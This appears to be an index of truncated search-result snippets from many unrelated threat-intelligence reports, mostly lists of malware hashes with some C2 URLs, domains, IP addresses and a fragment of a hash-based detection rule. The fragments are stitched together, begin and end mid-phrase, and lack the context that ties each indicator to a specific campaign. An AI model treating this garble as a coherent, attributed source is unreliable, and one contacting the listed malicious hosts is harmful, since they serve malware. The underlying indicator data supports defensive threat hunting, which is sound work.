\"21515fd6e6eb994defb589b4d0d9d956f7b4cb07823aaec501134ab063d883e9\" hash =…","…4cfded 2c7a76c85a182bf4045afe2180d1d845ddbfca6044995f2273c77cbeb1e42f8a 38368ada36a1d98bbc55408e26a2219ec60e0e53c8d34d67fd010af574f84e5a 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe 493aadefcf45642c34b4d84a84a41da9ac173b52c3217f62b3e25ece6379bd94 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e29 575606…","…(제보감사합니다!) IoC filename : 2.hwp md5 : 48d9e625ea3efbcbef3963c8714544a7 sha1 : ad6b7c7b61d662ab653c25fe850e2406f283c919 sha256 : cd6a12cc693e98e4f47d2161e9fe99d04895472d964575c749bbdd460f0fefdc Download C2 :…","…authors used QtBitcoinTrader developed by Centrabit . Original AppleJeus WbBot case MacInstaller case DMG file hash 48ded52752de9f9b73c6bf9ae81cb429 3efeccfc6daf0bf99dcb36f247364052 c2ffbf7f2f98c73b98198b4937119a18 PKG file hash dab34d94ca08ba5b25edadfe67ae4607…","…1 : ID=0xee, start-CHS (0x3ff,254,63), end-CHS (0x3ff,254,63), startsector 1, 29336 sectors, extended partition table (last) MD5 48ded52752de9f9b73c6bf9ae81cb429 SHA1 1e8a2f1f751e5a9931bca5710b4f304798d665dc SHA256 d404c0a634cef0d32029286fde8efccb6dfe1809066bbec7ac32d42c5ce3bc04 SHA512…","…e6d357 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d 48ee5d0d44a015876d867fa515b04c1998fecf19badcbd69f4f3fa8497d57215 a4cab67569d0b35c249dc536fb25dabdc12839ed4e945c59ec826c0a241b792a SHA1…","…The malware sample contains the properties seen in Table 1: MD5 48f031f8120554a5f47259666fd0ee02 SHA1 02ee6302436250e1cee1e75cf452a127b397be8d SHA256 b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311 File…","…4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce 48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291 4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c…","…levelframeblog.com OdicLoader SHA256 hashes: c83c7b000a955f2b8cb92bb112ed606ffd9fbebbe3422f80d90d06b167f2f37b 492a643bd1efdaca4ca125ade1b606e7bbf00e995ac9115ac84d1c4c59cb66dd Comebacker SHA256 hash: 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c CollectionRAT SHA256 hashes:…","…46A5D54C264152CE915792AF31C75824A558AF7D7340D78B34E146D8C6249E79 479038EB12ED07893EE0DCC04FBDCF182489BBB271F5A4F90F83874881A80CE3 492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD 5009C7D1590C1F8C05827122172583DDF924C53B55A46826ABF66DA46725505A 5C907B722C53A5BE256DC5F96B755BC9E0B032CC30973A52D984D4174BACE456…","…e42f8a 38368ada36a1d98bbc55408e26a2219ec60e0e53c8d34d67fd010af574f84e5a 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe 493aadefcf45642c34b4d84a84a41da9ac173b52c3217f62b3e25ece6379bd94 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e29 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b 58dc45…","…MD5 SHA1 SHA256 Malicious ICO File 4942dc3c0e9808544b068854cf1351e0 57a9f3d5d1592a0769886493f566930d8f32a0fc 2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de MD5 SHA1 SHA256 Malicious ICO…","…(console) x86-64, for MS Windows MD5 dc268b166fe4c1d1c8595dccf857c476 SHA1 8264556c8a6e460760dc6bb72ecc6f0f966a16b8 SHA256 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 SHA512…","…Last Modified Date (KST) 2019-02-26 15:40 Last Modified Name JamFedura C2 http://www.seoulhobi.biz/how/Fmaov0.hta MD5 49bac05068a79314e00c28b163889263 'white_paper.doc' 악성 문서파일의 경우 'Aji'로 등록된 경우와 'JamFedura' 계정으로 등록된 사례가 존재하는데, C2서버는 192.186.142.74 / seoulhobi.biz 도메인으로 동일하게…","…3b9d40f3d620ec87960b4350d42ccc03 3e2110d233d4543830e14c78d53900f4 422a221851ea6ad15f53cd3aea51c8af 49bdbe7e6cbb88842afcce3a9fe60e9b 4d87fef16790cbe1df72007d99149665 5577fffb5b5acd3771ef9dc696498f1e 5af95590a33b9bc64d95808f1fc71b78…","…Hashes 96d29a2d554b36d6fb7373ae52765850c17b68df 84398dcd52348eec37738b27af9682a3a1a08492 912f875899dd989fbfd64b515060f271546ef94c 49c70c292a634e822300c57305698b56c6275b1c 8f2e6719ce0f29c2c6dbabe5a7bda5906a99481c 0288140be88bc3156b692db2516e38f1f2e3f494 Domains com-port.space com-pow.click com-def.asia…","…공격자가 사용한 또 다른 관리 프로그램인 Manager_Them ( md5: 49d30adaab769fbea2ef69e09c6598c5 ) 의 프 로그램 이름은 ‘ M anager Of Zombies Version 1.0’ 이며 , [ 그림 12] 의 프로그램 정보에서 볼 수 있는 것처럼 자 신들을 ‘ Team ’ 으로 표기하고…","…Size 2212864 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 668d5b5761755c9d061da74cb21a8b75 SHA1 49da356fd99d4b7c8cb4e77f89877ee41f8948ca SHA256 9e4bd9676bb3460be68ba4559a824940a393bde7613850eda9196259e453b9f3 SHA512…","…Size 7014400 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 96071956d4890aebea14ecd8015617cc SHA1 49e16180795034a4888fff776968e29871f79340 SHA256 04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30 SHA512…","…SHA1 73417ded382af2e0f3fca04d8d07679af134038b 49f1d203436240933ee20d7b16324c09bcbf4ceb 198ee2c64c7584acb2403c0ce4c152b3e57c4453 Remediation Block all threat indicators at your respective controls. Search for indicators…","…Hash-SHA256 43d1ef55c9d33472a5532de5bbe814fefa5205297653201c30fdc91b8f21a0ed Hash-SHA256 49fa2e0131340da29c564d25779c0cafb550da549fae65880a6b22d45ea2067f Hash-SHA256 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79 Hash-SHA256…","…Type Description Detection Name C8CE5C23D4644AA089455C479E52DAE3 MD5 샘플 1 - 2603vvip고객현황.lnk Trojan.Agent.LNK.Gen 4A0E6C5932CEE062102E2D19E92C85A4 MD5 샘플 1 - user-config.js (로더) Trojan.Script.Agent 9BAED08DF363098F0107315430A2FDBB MD5 샘플 1 - Web12.config (암호화된 페이로드)…","…48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291 4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c 54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0…","…Name kupay Size 186044 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 4a43bafb4af0a038a7f430417bcc1b6e SHA1 438243575764a5e856951126674f72f20b2a0d6f SHA256 a0c461c94ba9f1573c7253666d218b3343d24bfa5d8ef270ee9bc74b7856e492 SHA512…","…Name Dorusio Size 186044 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 4a43bafb4af0a038a7f430417bcc1b6e SHA1 438243575764a5e856951126674f72f20b2a0d6f SHA256 a0c461c94ba9f1573c7253666d218b3343d24bfa5d8ef270ee9bc74b7856e492 SHA512…","…Hash-SHA256 49fa2e0131340da29c564d25779c0cafb550da549fae65880a6b22d45ea2067f Hash-SHA256 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79 Hash-SHA256 616e60f031b6e7c4f99c216d120e8b38763b3fafd9ac4387ed0533b15df23420 Hash-SHA256…","…(console) x86-64, for MS Windows MD5 4f67f3e4a7509af1b2b1c6180a03b3e4 SHA1 1c9a437ed876a0ce0e5374bd93acdfd9e9023f1f SHA256 4a740227eeb82c20286d9c112ef95f0c1380d0e90ffb39fc75c8456db4f60756 SHA512…","…(console) x86-64, for MS Windows MD5 42682d4a78fe5c2eda988185a344637d SHA1 4975de2be0a1f7202037f5a504d738fe512191b7 SHA256 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 SHA512…","…SHA-256: 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 SHA-256: 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 SHA-256: 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA-256:…","…a reputable security product such as “K7 Antivirus for Mac” and to keep it updated so as to stay safe from such threats. IOCs Hash : 4a7a1626b6baf8c917945b8fc414c8b9 (parent malware) Detection Name : Trojan ( 0040f2c11 ) Facebook 0 Twitter 0 Linkedin 0 X Like…","…dropper) AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185 SHA-256 easy-day-js-1.11.22.tgz (weaponized tarball) 4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417 SHA-256 easy-day-js-1.11.21.tgz (clean bait tarball) B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7E SHA-256…","…4127c3d7c60b 8380d7451f9c4477dd2e8c7c0ba46471bfc6dc27 60be225d1a90070d22bf2abcc740d311041cb432 78027c3800ff58321371a28b1e2a6d7e870add60 4a93fe1e7fce91f3c3d99c733d9628ed952dbf2a 5e38363e7c196a3627dc10a8292bb72473599c2e URL https://filedn.com/lY24cv0IfefboNEIN0I9gqR Remediation Block all threat indicators at…","…prior to implementation in any production system 46 © 2026 LAC Co., Ltd. Appendix C-Indicator of Compromises Indicator Type Context 4abfbbfa443e7be34da30abda4665789d1b2e5a70cbef066e6dfacd59a1bfdbb SHA-256 GSRAT bcf9044ac1c90206d8d8b7b98cf084d90abdbd6b3bc10aa9da4cac69465a1f74 SHA-256 GSRAT 7107c110e4694f50a39a91f8497b9f0e88dbe6a3face0d…","…used for TLS communication Type Value SHA-256 4b2d3e8ccce8920a6d01e7d02b84236545a20e5f754b3eec253f8b416b731daa SHA-1 4ad92bf92ee614b05c340ce17bef7b6ef5a25e82 Serial 1cd6d13ff15adbf7a42025d10ec99b4a Subject/Issuer O=mkcert development CA, OU=ub@ub-Standard-PC-Q35-ICH9-2009, CN=mkcert…","…information Stealer md5 : 8EDFA086DE4DFDC93C0551BBB08CD5A8 sha1 : 4B1B5BED35BC676E835DE14EE033339D37F4549D sha256 : 5E3907E9E2ED8FF12BB4E96B52401D871526C5ED502D2149DD4F680DA4925590 Case 3.…","…the time of publication of this research. IOCs Hashes Maldocs 811b42bb169f02d1b0b3527e2ca6c00630bebd676b235cd4e391e9e595f9dfa8 VBA 4b244ac09e4b46792661754bd5d386e8b1a168cb1d5ed440df04c1c2928cb84d Stage 2 script 99b516acd059a4b88f281214d849c5134aa1cea936d69e8eb7393b22be0508a0 Stage 3…","…Malicious workspace filepath Custom certificate used for TLS communication Type Value SHA-256 4b2d3e8ccce8920a6d01e7d02b84236545a20e5f754b3eec253f8b416b731daa SHA-1 4ad92bf92ee614b05c340ce17bef7b6ef5a25e82 Serial 1cd6d13ff15adbf7a42025d10ec99b4a Subject/Issuer O=mkcert development…","…c587cdbadc3573149c8b1a78fbbd876f 84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69 4b35d14a2eab2b3a7e0b40b71955cdd36e06b4b9 41dacae2a33ee717abcc8011b705f2cb a1797d212560de7fd187d0771e8948bd8e0e242bed0ca07665f78076f4e23235…","…OTX Pulse with Additional Indicators a.gwas.perl.sh a-gwas-01.slyip.net a-gwas-01.dyndns.org Rivts Worm File Hashes 4B584695BA08E680452BE6016886637A Faedevour Worm File Hashes FFFA05401511AD2A89283C52D0C86472 78D3C8705F8BAF7D34E6A6737D1CFA18 Brambul Worm File Hashes…","…– Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL…","…f0a74f 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d 48ee5d…","…of Characters: 1, Security: 0 MD5 3229a6cea658b1b3ca5ca9ad7b40d8d4 SHA1 70730e608e2fcc68ce468ed148e965c5bacfb51c SHA256 4bd7d801d7ce3fe9c2928dbc834b296e934473f5bbcc9a1fd18af5ebd43192cd SHA512…","…Size 163840 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 6f329c32f228d9a4d856afd4794c7f2b SHA1 4be9aecc0fc76c037420ece97645c6a32294a230 SHA256 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd SHA512…","…the following publicly available malicious files. MD5: b484b0dff093f358897486b58266d069 MD5: f34b72471a205c4eee5221ab9a349c55 MD5: 4c26b2d0e5cd3bfe0a3d07c4b85909a4 MD5: 52ec074d8cb8243976963674dd40ffe7 MD5: d1d779314250fab284fd348888c2f955 MD5: cf733e719e9677ebfbc84a3ab08dd0dc MD5:…","…MD5 56018500f73e3f6cf179d3b853c27912 SHA256 4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244 Creation Time 2021-01-09 02:17:51 Export Table parameter가 2개인지 확인한다.…","…(GUI) Intel 80386, for MS Windows MD5 c5dc53a540abe95e02008a04a0d56d6c SHA1 4cfe9e353b1a91a2add627873846a3ad912ea96b SHA256 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA512…","…SHA-256: 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 SHA-256: 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA-256: 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 SHA-256:…","…(로더) Trojan.Script.Agent 9BAED08DF363098F0107315430A2FDBB MD5 샘플 1 - Web12.config (암호화된 페이로드) Trojan.BIN.Encoded 4C3FB7A00EDE6A719450C63A1B6E7E1D MD5 샘플 2 - 고객현황_202605.lnk Trojan.Agent.LNK.Gen 768C718A8A020BA59E7FB55BCB5EBF1F MD5 샘플 2 - WCF35Setup.js (로더)…","…Access Information Theft Indicators of Compromise MD5 cf8c0999c148d764667b1a269c28bdcb 80ab98c10c23b7281a2bf1489fc98c0d 4c4abe85a1c68ba8385d2cb928ac5646 00a2952a279f9c84ae71367d5b8990c1 5eac943e23429a77d9766078e760fc0b SHA-256…","…or hash.sha256(“e3c3981f65663c9923da9ca28c20951543ae3796bd39f86964769490b01c2bd7”) or hash.sha256(“4c53e24db4b7858fd9d17de2bfc3d73096f41172dfcc31a807231acb97aff9d0”) or hash.sha256(“a19b9eb292395e0d84c4a1a8eb5c88abbe0f71060cd06a436bf79da914e3e0c1”) or // Detect specific URLs $url1 in url or $url2…","…1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3248ff72cc2bfcd05bb161b6a2356 9b7c3c48bcef…","…to Sensitive Data Indicators of Compromise MD5 ac146406fa4781454cab035d4fe3f244 bf6b4a30f1e5b4f4156446adc7693236 4ca9cad959d64599e85ecb45232cb8a6 c8549d0773855ce9a0b74d814da3e119 SHA-256…","…카이마 원고_요구사항.doc) – Downloader/VBS.Agent (2022.02.11.00) (공격자 서버로부터 다운로드된 VBS 코드) – (OfficeAppManifest_v[분]_[시]_[일]_[월].ini) MD5 4cb18d33a729eeea494238dcc1bdb278 89ea8dff2ed6380b756640bc5ba7e7d0 FQDN thdde.scienceontheweb.net AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…t.zip MD5 4cbafb288263fe76f5e36f1f042be22d s.vbs 622358469e5e24114dd0eb03da815576 xM568.tmp 0c3fd7f45688d5ddb9f0107877ce2fbd 07578.tmp 73ed9b012785dc3b3ee33aa52700cfe4 C2…","…on this and other research, please contact intelreports@kaspersky.com . File Hashes: Malicious office document used in real attack 4cbd45fe6d65f513447beb4509a9ae3d 샘플_기술사업계획서(벤처기업평가용).doc 6a0f3abd05bc75edbfb862739865a4cc 문의_Evaluation Table.xls Testing office document…","…Below is a list of samples which have used the site: MD5 hash Filename File Info First seen Origin 4cc10ab3f4ee6769e520694a10f611d5 cambio.xap ZIP (73 KB) 2016-10-07 03:09:43 JP cb52c013f7af0219d45953bae663c9a2 svchost.exe Win32 EXE (126 KB)…","…“Serial_Numbers.xls” First Submission: 2019-01-31 06:56:00 Code Page: Korean Author: home SHA-1: 4cd5a4782dbed5b8e337ee402f1ef748b5035709 “LosAngeles_Court_report.doc” First Submission: 2019-01-26 09:59:50 Code Page: Korean Author: home SHA-1:…","…leveraged Mac-specific binaries, APIs, and functionality. IOCs Files Name SHA256 Notes a 4cd5df82e1d4f93361e71624730fbd1dd2f8ccaec7fc7cbdfa87497fb5cb438c C++ Dropper remoted ad01beb19f5b8c7155ee5415781761d4c7d85a31bb90b618c3f5d9f737f2d320 Go Backdoor airmond…","…payload. Impact Information Theft and Espionage Indicators of Compromise MD5 c8556d5dd6383b600a459a531beb05ff SHA-256 4cd7e92ac6a3d068683d41beabd82d82267d97aa89603c708c0dd4af637d6d67 SHA1 3024b5438f5d63cdedb1c473cba07b1825b60a1f URL…","…4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a 4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd 7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0…","…494596 01ccbc9ac090be73f12cad8ff83b599b1c689e7ccf9de8102d50512bb767bdec f4275b0d3c4b6f3a165984b862f4890df14cc346013a22412f7288c9fdc65690 4cf87cc8ec18cc288bdebb464ca21e4a03d5a35e5f0d294f33a6791e99640a88 b3f4db35c07f8f8ce903c7a1133f1959b80bb198b994942c67776474170999a0 cd87f640cb5e020c51d2bf233f85a9768880230f7e848aeb39f11829cbfb832c 通信先…","…Size 241152 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 c5dc53a540abe95e02008a04a0d56d6c SHA1 4cfe9e353b1a91a2add627873846a3ad912ea96b SHA256 4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818 SHA512…","…SHA1 5f549663a4836ee2ea82c79aa786f2541cd8f421 37ff1f0febf3131bd82dcfd30bb83f96b04aed7b 17f9e40a0315699e7b7e69397b661d5af66dd871 4d056026488c0c9a2e15d915fde87dbe202b3126 Remediation Always be suspicious about emails sent by unknown senders. Never click on links/attachments sent by unknown…","…MD5 SHA1 SHA256 Malicious ICO File 4d112603466ac9c57a669445374c1fb5 b5de30a83084d6f27d902b96dd12e15c77d1f90b c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd MD5 SHA1 SHA256 Malicious ICO…","…Size 129024 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 86d3c1b354ce696e454c42d8dc6df1b7 SHA1 4d17c0fb13b532ba5a680c1701026d29fb1931e7 SHA256 1678327c5f36074cf5f18d1a92c2d9fea9bfae6c245eaad01640fd75af4d6c11 SHA512…","…learn more about the threat group and their indicators by examining the BlockBuster_Sequel tag . Indicators of Compromise SHA256 4d4465bd9a57c7a3c0b80fa3282697554a1419794afa36e544a4ae06d60c1615 f390ef86a4ad92dde125c983e6470f08344b9eaa14c17a1e6c4bb7ebfa7c4ec9 acfae7e2fdda02e81b3e03f8c30741744d629cd672db424027f7caa59c975897 7429a6…","…Type zlib compressed data MD5 39cdf04be2ed479e0b4489ff37f95bbe SHA1 74390fba9445188f2489959cb289e73c6fbe58e4 SHA256 4d6078fc1ea6d3cd65c3ceabf65961689c5bc2d81f18c55b859211a60c141806 SHA512…","…Its DocSend-branded ClickOnce loader was signed with the same SSL.com certificate issued to BARNEHAGEN GUNHILDS MINNE AS : serial 4D6ABBFC7C052CBAFAA53659971AC471 and SHA-1 thumbprint 12730A7DD9AF98F14441D476C10EB346708C1194 .…","…// ghost.js MD5:d804d3b1114766fb48b3b369df9d2f47 // ghost.npl MD5:ea31f66a5164a394ce3a7253db49dd79 // package.json MD5:4d7d3dfd3d99727f450ee0883e9f60e2 // stager_mac.sh MD5:38614d05a905eab3a0885b637bfbb8e8 // stager_nix.sh MD5:2e3fdb5b8befdb9b48cb1a5468dfc164 //…","…3e2110d233d4543830e14c78d53900f4 422a221851ea6ad15f53cd3aea51c8af 49bdbe7e6cbb88842afcce3a9fe60e9b 4d87fef16790cbe1df72007d99149665 5577fffb5b5acd3771ef9dc696498f1e 5af95590a33b9bc64d95808f1fc71b78 5c5672bb14e1d2f07a8318ffec19b213…","…Trojan/Win.LazarLoader.C5427613 (2023.05.15.03) MD5 228732b45ed1ca3cda2b2721f5f5667c 47d380dd587db977bf6458ec767fee3d 4d91cd34a9aae8f2d88e0f77e812cef7 e501bb6762c14baafadbde8b0c04bbd6 URL https://www.samdb.or.kr/info/pinfo.aspx…","…f316f341f923c1598dbbb6967c1c66e2 0efc5c754b6739be19d5478fdffde7f5 c1f725abaf4e82ff1a4042f84d226643 4da5e7d083af1ba3872c205ff27de8cc 9d555c1093ff84ac3d442b1a0617f7ef Domain： myemail.works anicloud.ru cloud-sheet.net sharesvr.net filehost.network…","…23 设定数据 24 提权后远线程注入 宏文档样本 携带恶意宏的文档样本基本信息如下： 文件名 미국의외교정책과우리의대응방향.doc （译为“美国外交政策和我们的回应”） MD5 4de19e2c39b1d193e171dc8d804005a4 文件类型 Word文档 文件大小 54401字节 文件创建时间 2022-04-22 06:49:00 UTC…","…MD5 SHA1 SHA256 Malicious ICO File 71d5b9bfd6bf37ff5aa9752b2b6d5af1 64ab912d0af35c01355430d85dd4181f25e88838 4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f MD5 SHA1 SHA256 Malicious ICO File…","…Size 176640 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 c6801f90aaa11ce81c9b66450e002972 SHA1 4e30ebb98bb9f984c05eb0c0a365ff95305e8c55 SHA256 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 SHA512…","…Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18 Hash 4e84f97bb61c2d373a574676fa374131460839ecc7b53064f558ce7ce55528ad Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18 Hash…","…(엔진버전) : Trojan/Win.Akdoor.C4936809 (2022.01.28.02) MD5 070f0390aad17883cc8fad2dc8bc81ba 40b428899db353bb0ea244d95b5b82d9 4ea6cee3ecd9bbd2faf3af73059736df b841d27fb7fee74142be38cee917eda5 URL http://45.77.71.50:8082/ https://sk5621.com.co/ FQDN kr5829.co.in sk5621.com.co…","…Trojan.Agent.LNK.Gen,Trojan.Downloader.VBS.Agent 등으로 탐지하고 있습니다. IoC Indicator Type Description Detection Name 4EB884F8F4FB8F1C675A734418917435 MD5 바로가기(.lnk) 파일 Trojan.Agent.LNK.Gen 40947B537B1656F5881070054922D313 MD5 hta 파일 Trojan.Downloader.VBS.Agent…","…Size 3544560 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 4eedb2df53597a15fd48b726d85517f0 SHA1 a60ece7673fa415abe1fb97ac60e19ee446858b1 SHA256 c0c2239138b9bc659b5bddd8f49fa3f3074b65df8f3a2f639f7c632d2306af70 SHA512…","…(2021.08.14.00) Backdoor/Win.Akdoor.R493994 (2022.05.24.01) MD5 0054bdfe4cac0cb7a717749f8c08f5f3 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 d9b15979e76dd5d18c31e62ab9ff7dae URL…","…(2021.08.14.00) Backdoor/Win.Akdoor.R493994 (2022.05.24.01) IoCs MD5s d9b15979e76dd5d18c31e62ab9ff7dae 4ef5e3ce535f84f975a8212f5630bfe8 a1c59fec34fec1156e7db27ec16121a7 c7b82b4bafb677bf0f4397b0b88ccfa2 0054bdfe4cac0cb7a717749f8c08f5f3 C&C Server Addresses…","…Size 843776 bytes Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5 aa7924157b77dd1ff749d474f3062f90 SHA1 4f02a6bf2b24c371e9f589cff8e32b4d94cf4f29 SHA256 a71017302e1745c8a3d6e425187eb23c7531551bb6f547e47198563a78e933b6 SHA512…","…7.47.1 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2 Win32/Spy.Banker.ADQH 32-bit Enigma-protected dropper;gpsvc.exe Malware with a translit SHA1 Detection Note…","…Backdoor Management Tool Filename: gpsvc.exe MD5: 85d316590edfb4212049c4490db08c4b SHA1: 4f0d7a33d23d53c0eb8b34d102cdd660fc5323a2 File Size: 753664 bytes File Type: PE32 executable (console) Intel 80386, for MS Windows Link Time: 2015.08.24 10:21:52 (GMT)…","…행위 진단 – CredentialAceess/MDP.Mimikatz.M4367 MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…Behavior Detection – CredentialAceess/MDP.Mimikatz.M4367 MD5 29efd64dd3c7fe1e2b022b7ad73a1ba5 2c69c4786ce663e58a3cc093c6d5b530 4f1b1124e34894398aa423200a8ab894 a714b928bbc7cd480fed85e379966f95 URL…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16}\", \"file\": {\"hash\": {\"md5\": [\"b7cb512be2f564a77608b4ffd57af9da\"], \"sha1\": [\"cd8f41b91e8f1d8625e076f0a161e46e32c62bbf\"], \"sha256\":…","…178b11323f921c0216bedefdd575a9c5a055b9fa 98e94d7be1d59c17f6bcf3ce09661f83 4f544e8756373520e98ed12b921ea7e05a93cf0152405ef3ac65133f7c8660a1 e0f4924aeb8befbf6a78411f910d2c148de7c5ff c587cdbadc3573149c8b1a78fbbd876f…","…samples was first released in October 2018 as part of the FASTCash campaign. MD5 hash: 5cfa1c2cb430bec721063e3e2d144feb MD5 hash: 4f67f3e4a7509af1b2b1c6180a03b3e4 The BeagleBoyz have used CROWDEDFLOUNDER as a remote access trojan (RAT) since at least 2018.…","…of interest-- 4a740227eeb82c20286d9c112ef95f0c1380d0e90ffb39fc75c8456db4f60756 Tags backdoorproxytrojan Details Name 4f67f3e4a7509af1b2b1c6180a03b3e4 Size 2206296 bytes Type PE32+ executable (console) x86-64, for MS Windows MD5 4f67f3e4a7509af1b2b1c6180a03b3e4 SHA1…","…RemotePE specific event name Table 7: RemotePE host-based indicators Samples digest.sha256 Comment 4f6ae0110cf652264293df571d66955f7109e3424a070423b5e50edc3eb43874 DPAPILoader (Iassvc.dll) aa4a2d1215f864481994234f13ab485b95150161b4566c180419d93dda7ac039 DPAPILoader (wmiclnt.dll)…","…Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200 MD5 c4aa6f87124320eadc342d2fe7364896 SHA1 4fcc84583126689d03acf69b9fca5632f7d44752 SHA256 07c38ca1e0370421f74c949507fc0d21f4cfcb5866a4f9c0751aefa0d6e97542 SHA512…","…479038eb12ed07893ee0dcc04fbdcf182489bbb271f5a4f90f83874881a80ce3 2546d239a262c24a6f8ea01d890cbc459a22db79b379b6ec3b24fbb56efb5381 5009c7d1590c1f8c05827122172583ddf924c53b55a46826abf66da46725505a 87c5d0c93b80acf61d24e7aaf0faae231ab507ca45483ad3d441b5d1acebc43c 99dbc6fe3c3e465052fcefa1642861747dc9e069eeb244589b605bd710b1e0d1…","…479038EB12ED07893EE0DCC04FBDCF182489BBB271F5A4F90F83874881A80CE3 492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD 5009C7D1590C1F8C05827122172583DDF924C53B55A46826ABF66DA46725505A 5C907B722C53A5BE256DC5F96B755BC9E0B032CC30973A52D984D4174BACE456 5E40D106977017B1ED235419B1E59FF090E1F43AC57DA1BB5D80D66AE53B1DF8…","…MD5 Hash 10780939962b54addc9d31f57d80edfc 1523a2fcc901965ab4568d9fe829e4af 500e0bc0d7579fb338912770964076fe 685bfc6b2c29fbc16cfad908894add55 